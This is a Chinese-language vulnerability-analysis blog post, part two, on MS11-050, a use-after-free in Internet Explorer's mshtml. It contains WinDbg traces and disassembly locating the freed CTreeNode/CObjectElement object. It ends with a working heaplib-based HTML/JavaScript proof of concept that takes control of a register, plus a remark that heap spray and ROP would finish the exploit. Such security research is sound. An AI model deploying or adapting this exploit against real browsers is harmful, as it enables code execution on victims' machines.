MS11-050 IE內存破壞嘗試漏洞分析筆記(二)

前面分析過程遇到了一些問題,比如在最後中斷在異常處發現對象大小和前面分配不符,後來在win7 32位下調試沒有出現這種問題,下面是

win7 32位下的調試過程:

同樣下斷
0:013> x mshtml!CObjectElement::`vftable'
694e3dd8 mshtml!CObjectElement::`vftable' = <no type information>
0:013> bp mshtml!CTreeNode::CTreeNode ".printf \" CTreeNode:node[%08x] Type:\",ecx;dds edi l1;.if(poi(edi)!=694e3dd8 ) {gc;}"
0:013> g
...
8次中斷:
0:005> g
CTreeNode:node[004f0358] Type:005187b0  693f7eb0 mshtml!CAnchorElement::`vftable'
CTreeNode:node[004f0408] Type:004e1810  693f71b0 mshtml!CPhraseElement::`vftable'
CTreeNode:node[004eff38] Type:0051f590  694e3dd8 mshtml!CObjectElement::`vftable'
eax=004eff38 ebx=0249cab0 ecx=004eff38 edx=00000000 esi=004e2b40 edi=0051f590
eip=695b47b9 esp=0249c93c ebp=0249ca9c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTreeNode::CTreeNode:
695b47b9 8bff            mov     edi,edi
0:005> !heap -x 004eff38
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
-----------------------------------------------------------------------------
004eff30  004eff38  00450000  004f07f8        58      -            c  LFH;busy 
此時ecx是CTreeNode對象,
0:005> ba w 4 004eff38
0:005> g
Breakpoint 1 hit
eax=ffffffff ebx=0249cab0 ecx=004eff38 edx=00000000 esi=00000008 edi=0051f590
eip=695b47f4 esp=0249c934 ebp=0249c938 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
mshtml!CTreeNode::CTreeNode+0x3b:
695b47f4 85ff            test    edi,edi
查看前一條指令:
0:005> ub eip l1
mshtml!CTreeNode::CTreeNode+0x39:
695b47f2 8939            mov     dword ptr [ecx],edi
這裏是初始化CTreeNode
0:005> ln poi(edi)
(694e3dd8)   mshtml!CObjectElement::`vftable'   |  (695aa4ac)   mshtml!CDummyUnknown::`vftable'
Exact matches:
    mshtml!CObjectElement::`vftable' = <no type information>
0:005> dd 694e3dd8
694e3dd8  694ef6af 695ab7c9 695aa699 694eff7d
694e3de8  6951e101 694efc6c 695a7b0d 69644eb3
694e3df8  69709560 69519f31 695f5036 697a8531
694e3e08  69730297 694efb53 694efa0c 69647fe5
694e3e18  69761f7a 69629022 6940d582 69629022
694e3e28  697a8580 697622c2 697622c2 6983617f
694e3e38  69836131 698354b7 69835537 695b1e75
694e3e48  695ab65d 695cbabb 69712683 694db33e
繼續g
0:005> g
CTreeNode:node[004f0358] Type:005187b0  693f7eb0 mshtml!CAnchorElement::`vftable'
CTreeNode:node[004f0408] Type:004e1810  693f71b0 mshtml!CPhraseElement::`vftable'
CTreeNode:node[004efe30] Type:004e1660  69522010 mshtml!CRootElement::`vftable'
CTreeNode:node[004f01a0] Type:004e1930  69531598 mshtml!CHtmlElement::`vftable'
CTreeNode:node[004f0098] Type:004e1a20  69531868 mshtml!CHeadElement::`vftable'
CTreeNode:node[004f01f8] Type:004f8888  69531ae8 mshtml!CTitleElement::`vftable'
CTreeNode:node[004eff90] Type:004f88c0  69530c30 mshtml!CBodyElement::`vftable'
Breakpoint 1 hit
eax=0091012b ebx=00000011 ecx=00000092 edx=00000091 esi=004f07f8 edi=004eff30
eip=773d2d75 esp=0249d250 ebp=0249d284 iopl=0         ov up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000a06
ntdll!RtlpLowFragHeapFree+0xa6:
773d2d75 2b7df4          sub     edi,dword ptr [ebp-0Ch] ss:0023:0249d278=004ef7e8
此時查看CTreeNode對象,發現該對象已經被釋放
0:005> !heap -x 004eff38
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
-----------------------------------------------------------------------------
004eff30  004eff38  00450000  004f07f8        58      -            0  LFH;free 
查看棧回溯信息:
0:005> kb
ChildEBP RetAddr  Args to Child             
0249d284 773d2ce8 004eff38 0051f590 00000000 ntdll!RtlpLowFragHeapFree+0xa6
0249d29c 7725bbe4 00450000 00000000 004eff38 ntdll!RtlFreeHeap+0x105
0249d2b0 6960fbf2 00450000 00000000 004eff38 kernel32!HeapFree+0x14
0249d2c0 69506555 00000720 695092a8 004beb70 mshtml!CTreeNode::Release+0x2d
0249d2c8 695092a8 004beb70 00000000 00000018 mshtml!CTreeNode::PrivateExitTree+0x17
0249d418 69506e34 0249d53c 0249d48c 00000000 mshtml!CSpliceTreeEngine::RemoveSplice+0x812
0249d4f8 69506c90 0249d530 0249d53c 00000000 mshtml!CMarkup::SpliceTreeInternal+0x83
0249d548 69507434 0249d6f0 0249d72c 00000001 mshtml!CDoc::CutCopyMove+0xca
0249d564 69507412 0249d6f0 0249d72c 00000000 mshtml!CDoc::Remove+0x18
0249d57c 69509c8e 0249d72c 0051ce18 695aa410 mshtml!RemoveWithBreakOnEmpty+0x3a
0249d678 69509add 0249d6f0 0249d72c 0249d6a0 mshtml!InjectHtmlStream+0x191
0249d6b4 6950735c 0249d6f0 0249d72c 0000000e mshtml!HandleHTMLInjection+0x5c
0249d76c 698353db 00000001 00000001 0051ce18 mshtml!CElement::InjectInternal+0x307
0249d84c 695c93c2 0051f590 00000000 004ddd58 mshtml!CObjectElement::DeferredFallback+0x2f0
0249d880 695be012 0249d91c 00008002 00000000 mshtml!GlobalWndOnMethodCall+0xff
0249d8a0 75dcc4e7 00120266 00000008 00000000 mshtml!GlobalWndProc+0x10c
0249d8cc 75dcc5e7 695a6853 00120266 00008002 USER32!InternalCallWinProc+0x23
0249d944 75dccc19 00000000 695a6853 00120266 USER32!UserCallWinProcCheckWow+0x14b
0249d9a4 75dccc70 695a6853 00000000 0249fac4 USER32!DispatchMessageWorker+0x35e
0249d9b4 6d904bec 0249d9dc 00000000 001227d8 USER32!DispatchMessageW+0xf
0249fac4 6d914f62 004918b8 00000000 00473cd0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54b
0249fb7c 75965c2b 001227d8 00000000 0249fb98 IEFRAME!LCIETab_ThreadProc+0x2c1
0249fb8c 77263c45 00473cd0 0249fbd8 773e37f5 iertutil!CIsoScope::RegisterThread+0xab
0249fb98 773e37f5 00473cd0 7588b972 00000000 kernel32!BaseThreadInitThunk+0xe
0249fbd8 773e37c8 75965c1d 00473cd0 00000000 ntdll!__RtlUserThreadStart+0x70
0249fbf0 00000000 75965c1d 00473cd0 00000000 ntdll!_RtlUserThreadStart+0x1b
注意這個函數,根據函數名就可以猜到該對象釋放的原因-->“Empty”
看看對象分配的大小:
text:635A8213 loc_635A8213:                           ; CODE XREF: CHtmRootParseCtx::BeginElement(CTreeNode * *,CElement *,CTreeNode *,int)+205Aj
.text:635A8213                 push    ebx
.text:635A8214                 push    edi
.text:635A8215                 push    4Ch             ; dwBytes
.text:635A8217                 push    8               ; dwFlags
.text:635A8219                 push    _g_hProcessHeap ; hHeap
.text:635A821F                 call    ds:__imp__HeapAlloc@12 ; 分配了一個對象
.text:635A8225                 xor     ebx, ebx
.text:635A8227                 cmp     eax, ebx
.text:635A8229                 jz      short loc_635A823B
.text:635A822B                 mov     edi, [ebp+arg_4]
.text:635A822E                 push    ebx
.text:635A822F                 push    [ebp+arg_8]
.text:635A8232                 mov     ecx, eax        ; ecx-->對象指針
.text:635A8234                 call    ??0CTreeNode@@QAE@PAV0@PAVCElement@@H@Z ; CTreeNode::CTreeNode(CTreeNode *,CElement *,int)
由於堆分配是8字節對齊,因此這裏應該分配0x50(80)字節的堆空間,加上8個字節的頭部數據剛好是0x58
分析就到這裏吧,本來打算找到漏洞的具體成因,某君相勸漏洞的藝術在於利用而不在於成因,雖然不乏一點道理,但鑑於自己水平實在有限,漏洞分析到這裏就over
=============================分割線==============================
漏洞利用:
既然是use after free,那麼我們就需要在再次引用free掉的內存的時候給這段內存寫入污染數據:
藉助heaplib分配內存,我們來嘗試控制eip指針:
先看看出問題的CObjectElement的大小:
.text:63766632 ; public: static long __stdcall CObjectElement::CreateElement(class CHtmTag *, class CDoc *, class CElement * *)
.text:63766632 ?CreateElement@CObjectElement@@SGJPAVCHtmTag@@PAVCDoc@@PAPAVCElement@@@Z proc near
.text:63766632                                         ; DATA XREF: .text:6364B7D8o
.text:63766632                                         ; .text:6364BC18o
.text:63766632
.text:63766632 arg_0           = dword ptr  8
.text:63766632 arg_4           = dword ptr  0Ch
.text:63766632 arg_8           = dword ptr  10h
.text:63766632
.text:63766632                 mov     edi, edi
.text:63766634                 push    ebp
.text:63766635                 mov     ebp, esp
.text:63766637                 push    0DCh            ; dwBytes
.text:6376663C                 push    8               ; dwFlags
.text:6376663E                 push    _g_hProcessHeap ; hHeap
.text:63766644                 call    ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x)
.text:6376664A                 test    eax, eax
.text:6376664C                 jz      short loc_63766679
.text:6376664E                 mov     ecx, [ebp+arg_0]
.text:63766651                 movzx   ecx, byte ptr [ecx+1]
.text:63766655                 push    esi
.text:63766656                 push    [ebp+arg_4]
.text:63766659                 mov     esi, eax
.text:6376665B                 push    ecx
.text:6376665C                 call    ??0CObjectElement@@QAE@W4ELEMENT_TAG@@PAVCDoc@@@Z ; CObjectElement::CObjectElement(ELEMENT_TAG,CDoc *)

可以看到CObjectElement的大小爲0xDC字節,那麼我們就需要分配一個0xE0字節大小的僞造對象。利用HeapLib.js

<html>
<body>
<script language='javascript' src='heaplib.js'>
</script>
<script language='javascript' >
heap_obj=new heapLib.ie(0x20000);
var control_eip=unescape("\u0c0c\u0c0c");
while(control_eip.length<0xe0)
{
    control_eip+=unescape("\u0c0c\u0c0c");
}
control_eip=control_eip.slice(0,(0xe0-6)/2);
document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
for(var num=0;num<3000;num++)
{
    heap_obj.alloc(control_eip,"aaaa");
    heap_obj.alloc(control_eip,"aaaa");
}

document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
document.body.innerHTML += "BBBBBB";
document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";

</script>
</body>
</html>

掛載調試器,看到eax寄存器已經被控制到0x0c0c0c0c

0:013> g
ModLoad: 6cf50000 6d002000   C:\Windows\System32\jscript.dll
(7c4.344): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=002ba9d8 ecx=0329018e edx=00000000 esi=0248c088 edi=00000000
eip=6bdbb68f esp=0248c05c ebp=0248c074 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
6bdbb68f 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:0c0c0c7c=????????

其他的就很容易了,可以通過HeapSpary+ROP就可以完成漏洞利用了。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章